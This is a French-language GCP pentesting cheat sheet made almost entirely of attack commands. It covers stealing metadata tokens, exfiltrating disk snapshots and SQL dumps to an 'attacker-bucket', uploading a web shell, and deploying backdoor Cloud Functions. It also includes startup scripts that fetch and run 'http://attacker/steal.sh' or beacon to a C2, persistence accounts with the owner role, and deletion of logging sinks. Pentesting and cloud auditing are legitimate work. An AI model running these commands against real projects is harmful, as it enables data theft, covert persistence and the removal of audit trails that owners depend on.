| name | cloud-pentesting-gcp |
| description | Guide complet de pentest GCP — Cloud Storage, IAM, Compute Engine, Cloud Functions, KMS, privesc, outils |
| category | cybersecurite |
Cloud Pentesting GCP — Guide Avancé
Prérequis
Installation des outils
curl https://sdk.cloud.google.com | bash
gcloud init
gcloud auth login
gcloud auth list
gcloud projects list
gcloud config set project <PROJECT_ID>
gcloud config set compute/region us-central1
Outils Essentiels
| Outil | Description |
|---|
| gcloud CLI | Interface native GCP |
| gcp_scanner | Scanner d'énumération GCP |
| ScoutSuite | Audit complet multi-cloud |
| CloudSploit | Scanner règles de sécurité |
| gcp_enum | Script d'énumération bash |
| PMapper | Analyse des politiques IAM |
| gcp_sts_helper | Exploitation STS (Security Token Service) |
Énumération GCP
Projets et Organisation
gcloud projects list
gcloud projects describe <PROJECT_ID>
gcloud organizations list
gcloud organizations describe <ORG_ID>
gcloud projects get-iam-policy <PROJECT_ID> --format json
Compute Engine (GCE)
gcloud compute instances list
gcloud compute instances list --project <PROJECT>
gcloud compute instances describe <INSTANCE> --zone us-central1-a
gcloud compute instances get-serial-port-output <INSTANCE> --zone us-central1-a
curl http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/attributes/ -H "Metadata-Flavor: Google"
gcloud compute snapshots list
gcloud compute disks list
gcloud compute disks snapshot <DISK> --snapshot-names exfil-1
gcloud compute disks create exfil-disk --source-snapshot exfil-1 --zone us-central1-a
gcloud compute instances attach-disk <YOUR-INSTANCE> --disk exfil-disk
Cloud Storage (GCS)
Bucket Enumeration:
gsutil ls
gsutil ls gs://bucket-name/
gsutil ls gs://target-backup
gsutil ls gs://target-secure
curl https://storage.googleapis.com/bucket-name/
curl https://storage.googleapis.com/download/storage/v1/b/bucket-name/o
gsutil iam get gs://bucket-name/
gsutil acl get gs://bucket-name/
Exploitation:
gsutil cp shell.php gs://bucket-name/uploads/
gsutil cp -r ./exfil/ gs://attacker-bucket/
gsutil -m cp -r gs://bucket-name/ ./dump/
gsutil ls -a gs://bucket-name/
gsutil cp gs://bucket-name/file#123456789 ./
Cloud Functions
gcloud functions list
gcloud functions describe <FUNCTION>
gcloud functions deploy backdoor --runtime python311 --trigger-http --allow-unauthenticated --entry-point main
gcloud functions describe <FUNCTION> --format="get(eventTrigger,environmentVariables)"
gcloud functions call <FUNCTION> --data '{"action":"ping"}'
Cloud SQL / Spanner
gcloud sql instances list
gcloud sql databases list --instance <DB-INSTANCE>
gcloud sql export sql <DB-INSTANCE> gs://attacker-bucket/dump.sql --database <DB>
gcloud sql users create hacker --instance <DB-INSTANCE> --password Pwned123!
Kubernetes Engine (GKE)
gcloud container clusters list
gcloud container clusters get-credentials <CLUSTER> --zone us-central1-a
kubectl get secrets --all-namespaces
kubectl get secret <SECRET> -o yaml | base64 -d
Escalade de Privilèges GCP
IAM Chemins de Privesc
Principales permissions dangereuses:
| Permission | Impact |
|---|
iam.roles.update | Modifier un rôle pour ajouter des permissions |
iam.serviceAccountKeys.create | Créer une clé SA et l'utiliser |
iam.serviceAccounts.implicitDelegation | Délegation implicite à n'importe quel SA |
iam.serviceAccounts.actAs | Run as un SA (impersonate) |
iam.serviceAccounts.getAccessToken | Obtenir un token OAuth |
compute.instances.setMetadata | Changer SSK keys des instances |
compute.instances.setIamPolicy | Se donner accès à une VM |
source.repos.getIamPolicy et update | Accès aux repos source |
Privesc via Service Account:
gcloud iam service-accounts list
gcloud iam service-accounts keys create key.json --iam-account target-sa@project.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=key.json
gcloud auth list
gcloud projects get-iam-policy <PROJECT>
Privesc via Compute:
gcloud compute instances add-metadata <INSTANCE> --zone us-central1-a --metadata startup-script='#!/bin/bash
curl http://attacker/steal.sh | bash'
gcloud compute instances create exploit --service-account admin-sa@project.iam.gserviceaccount.com --scopes cloud-platform --zone us-central1-a
gcloud compute instances attach-disk exploit --disk victim-disk --zone us-central1-a
KMS — Key Management Service
gcloud kms keyrings list --location global
gcloud kms keys list --keyring <KEYRING> --location global
Persistance GCP
gcloud iam service-accounts create persistence-sa --display-name "Persistence"
gcloud iam service-accounts keys create persistence-key.json --iam-account persistence-sa@project.iam.gserviceaccount.com
gcloud projects add-iam-policy-binding <PROJECT> --member "serviceAccount:persistence-sa@project.iam.gserviceaccount.com" --role "roles/owner"
gcloud functions deploy persistence --runtime python311 --trigger-topic persistence --source .
gcloud compute instances add-metadata <INSTANCE> --zone us-central1-a --metadata startup-script='#!/bin/bash
while true; do
curl http://attacker/C2
sleep 60
done'
Évasion de Logs
gcloud logging sinks delete <SINK>
gcloud logging buckets delete <BUCKET>
gcp_scanner — Workflow
git clone https://github.com/google/gcp_scanner
cd gcp_scanner
python scanner.py --project <PROJECT> --output ./report
python scanner.py --keyfile key.json --output ./report --log-level INFO
Checklist Pentest GCP
- Buckets Cloud Storage publics/mal configurés
- Compute Engine metadata accessible (SSRF)
- IAM policies trop permissives
- Service Account Keys exposées
- Cloud Functions avec variables d'environnement sensibles
- SQL/CloudSQL accessible depuis Internet
- GKE clusters avec RBAC désactivé
- KMS keys accessibles à tous
- VPC Service Controls désactivés
- Cloud Audit Logs désactivés
- OS Login activé (ou SSH keys gérées)
- Workload Identity Federation mal configuré
Ressources